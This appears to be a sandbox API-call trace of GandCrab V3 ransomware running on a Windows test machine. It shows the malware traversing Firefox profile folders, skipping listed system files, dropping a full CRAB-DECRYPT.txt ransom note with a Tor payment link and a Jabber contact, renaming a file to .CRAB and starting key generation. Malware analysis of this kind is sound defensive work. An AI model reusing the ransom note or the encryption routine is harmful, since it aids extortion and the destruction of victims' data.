	[0123.406] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.412] WriteFile (in: hFile=0x3fc, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.412] WriteFile (in: hFile=0x3fc, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.412] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0123.412] CloseHandle (hObject=0x3fc) returned 1
	[0123.413] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.413] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.413] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.414] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.414] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.414] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.414] FindNextFileW (in: hFindFile=0x3166aa0, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.414] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0123.414] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0123.414] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\CRAB-DECRYPT.txt"
	[0123.414] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.414] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\CRAB-DECRYPT.txt") returned 134
	[0123.415] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\CRAB-DECRYPT.txt") returned 134
	[0123.415] lstrlenW (lpString=".txt") returned 4
	[0123.415] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.415] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0123.415] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.415] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\CRAB-DECRYPT.txt") returned 134
	[0123.415] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\CRAB-DECRYPT.txt") returned 134
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0123.415] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0123.415] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.416] FindNextFileW (in: hFindFile=0x3166aa0, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.416] lstrcmpW (lpString1="idb", lpString2=".") returned 1
	[0123.416] lstrcmpW (lpString1="idb", lpString2="..") returned 1
	[0123.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb"
	[0123.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\"
	[0123.416] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.416] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31474d0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.416] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.416] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3146cb8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.416] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.416] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.416] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.417] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\\\CRAB-DECRYPT.txt") returned 139
	[0123.417] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0123.419] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.419] WriteFile (in: hFile=0x3fc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31474b4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31474b4*=0xcce, lpOverlapped=0x0) returned 1
	[0123.420] CloseHandle (hObject=0x3fc) returned 1
	[0123.420] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.421] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\") returned 122
	[0123.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*"
	[0123.421] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*", lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 0x3166b60
	[0123.421] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.421] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.421] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.421] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.421] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3147cd0 | out: lpFindFileData=0x3147cd0) returned 1
	[0123.421] lstrcmpW (lpString1="818200132aebmoouht.files", lpString2=".") returned 1
	[0123.421] lstrcmpW (lpString1="818200132aebmoouht.files", lpString2="..") returned 1
	[0123.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht.files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files"
	[0123.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\"
	[0123.421] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.421] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3146a28, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.422] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.422] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3146210, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.422] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.422] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.422] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.422] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\\\CRAB-DECRYPT.txt") returned 164
	[0123.422] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x404
	[0123.423] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.423] WriteFile (in: hFile=0x404, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3146a0c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3146a0c*=0xcce, lpOverlapped=0x0) returned 1
	[0123.424] CloseHandle (hObject=0x404) returned 1
	[0123.424] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.424] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\") returned 147
	[0123.424] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*"
	[0123.425] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*", lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 0x3166be0
	[0123.425] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.425] FindNextFileW (in: hFindFile=0x3166be0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 1
	[0123.425] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.425] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.425] FindNextFileW (in: hFindFile=0x3166be0, lpFindFileData=0x3147228 | out: lpFindFileData=0x3147228) returned 1
	[0123.425] lstrcmpW (lpString1="1", lpString2=".") returned 1
	[0123.425] lstrcmpW (lpString1="1", lpString2="..") returned 1
	[0123.425] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1"
	[0123.425] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.425] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148
	[0123.425] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148
	[0123.425] lstrlenW (lpString=".files\\1") returned 8
	[0123.425] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.425] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".files\\1 ") returned 9
	[0123.426] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148
	[0123.426] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148
	[0123.426] lstrcmpiW (lpString1="1", lpString2="desktop.ini") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="autorun.inf") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="ntuser.dat") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="iconcache.db") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="bootsect.bak") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="boot.ini") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="ntuser.dat.log") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="thumbs.db") returned -1
	[0123.426] lstrcmpiW (lpString1="1", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.426] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.426] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB") returned 153
	[0123.426] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1")) returned 0x20
	[0123.426] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1", dwFileAttributes=0x20) returned 1
	[0123.427] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.crab")) returned 1
	[0123.429] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.429] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB"
	[0123.429] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1.CRAB.CRAB"
	[0123.429] CryptAcquireContextW (in: phProv=0x3146848, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3146848*=0xd6e408) returned 1
	[0123.430] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.430] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.430] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3146984 | out: pbBuffer=0x3146984) returned 1
